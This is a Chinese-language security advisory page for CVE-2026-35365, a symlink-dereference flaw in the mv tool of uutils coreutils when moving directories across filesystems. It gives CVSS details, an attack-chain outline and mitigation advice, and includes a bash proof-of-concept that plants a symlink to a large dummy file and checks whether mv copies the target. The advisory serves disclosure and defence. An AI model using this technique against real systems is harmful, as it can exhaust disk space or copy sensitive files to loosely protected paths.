IPBUF安全漏洞报告
English
CVE-2026-35365 CVSS 6.6 中危

CVE-2026-35365 uutils coreutils符号链接处理漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35365
漏洞类型
资源耗尽
CVSS评分
6.6 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

Resource ExhaustionSymbolic LinkuutilscoreutilsLocalDoSLogic Error

漏洞概述

uutils coreutils中的mv工具在跨文件系统移动包含符号链接的目录树时存在逻辑缺陷。该工具未正确保留符号链接,而是错误地将其解析并复制为实际的文件或目录。这种行为可能导致磁盘空间被意外占满(资源耗尽)、敏感数据被泄露到非预期位置,或在遇到循环链接时引发无限递归,从而影响系统的可用性和数据完整性。

技术细节

该漏洞源于uutils coreutils中`mv`命令在处理跨文件系统边界移动操作时的实现错误。当检测到源目录和目标目录位于不同的文件系统(挂载点)时,`mv`无法直接使用inode重命名,必须回退到递归复制策略。在受影响的版本中,递归复制逻辑未能正确识别和处理符号链接,而是直接对链接目标进行解引用和复制。攻击者可利用此漏洞,在本地低权限下创建包含指向大型目录(如/proc、/var/log或巨大的数据盘)的符号链接的恶意目录。一旦管理员或自动化脚本尝试将该目录跨分区移动,系统将尝试复制所有被链接指向的实际内容,导致磁盘I/O飙升、空间耗尽(DoS)或敏感文件被非法复制到权限较宽松的路径下。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用的是uutils coreutils而非GNU coreutils,并找到可写的目录位置。
STEP 2
武器化
攻击者创建一个目录,并在其中建立指向系统大型资源(如根目录/或大日志目录)的符号链接。
STEP 3
投递
攻击者诱导具有跨文件系统移动权限的用户(或管理员、计划任务脚本)执行mv命令,将该目录移动到另一个分区。
STEP 4
利用
mv命令错误地展开符号链接并开始递归复制大量数据,导致磁盘资源耗尽或敏感数据泄露。
STEP 5
影响
系统磁盘空间被填满导致拒绝服务,或敏感数据被复制到非安全位置导致完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35365: uutils coreutils mv symlink dereference # This script demonstrates the issue where mv copies the target of a symlink # instead of the symlink itself when moving across filesystem boundaries. # 1. Create a large dummy file to simulate resource exhaustion target mkdir -p /tmp/large_target dd if=/dev/zero of=/tmp/large_target/bigfile.bin bs=1M count=100 status=none # 2. Create a source directory (assuming /tmp is on a different partition than /home for real cross-fs test) # For demonstration, we will simulate the scenario. In a real exploit, ensure src and dst are different mounts. SRC_DIR="/tmp/poc_exploit_src" mkdir -p "$SRC_DIR" # 3. Create a malicious symlink pointing to the large data ln -s /tmp/large_target "$SRC_DIR/malicious_link" echo "[+] Directory structure created." echo " Source: $SRC_DIR" echo " Symlink: $SRC_DIR/malicious_link -> /tmp/large_target" # 4. Execute the move operation (using uutils mv) # If /tmp and /var are on different filesystems, this triggers the bug. # Adjust DEST_DIR to a different mount point to verify the exploit. DEST_DIR="/var/tmp/poc_exploit_dst" echo "[+] Attempting to move $SRC_DIR to $DEST_DIR..." echo "[!] If vulnerable, 'mv' will start copying 100MB of data instead of moving the link." # Note: Replace 'mv' with full path to uutils mv if testing specifically against that binary mv "$SRC_DIR" "$DEST_DIR" # 5. Check the result if [ -L "$DEST_DIR/malicious_link" ]; then echo "[+] SAFE: Symlink was preserved." elif [ -f "$DEST_DIR/malicious_link/bigfile.bin" ]; then echo "[!] VULNERABLE: Symlink was dereferenced. Data was copied." du -sh "$DEST_DIR/malicious_link" else echo "[-] Test failed to verify." fi # Cleanup rm -rf /tmp/large_target /var/tmp/poc_exploit_dst

影响范围

uutils coreutils < 0.7.0

防御指南

临时缓解措施
建议在未升级前,避免使用uutils版本的mv工具进行跨文件系统的目录移动操作。系统管理员可以使用`alias mv=/usr/bin/mv`(假设GNU version在/usr/bin/mv)来强制调用修复后的GNU版本,或者监控磁盘I/O异常以及时发现可能的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表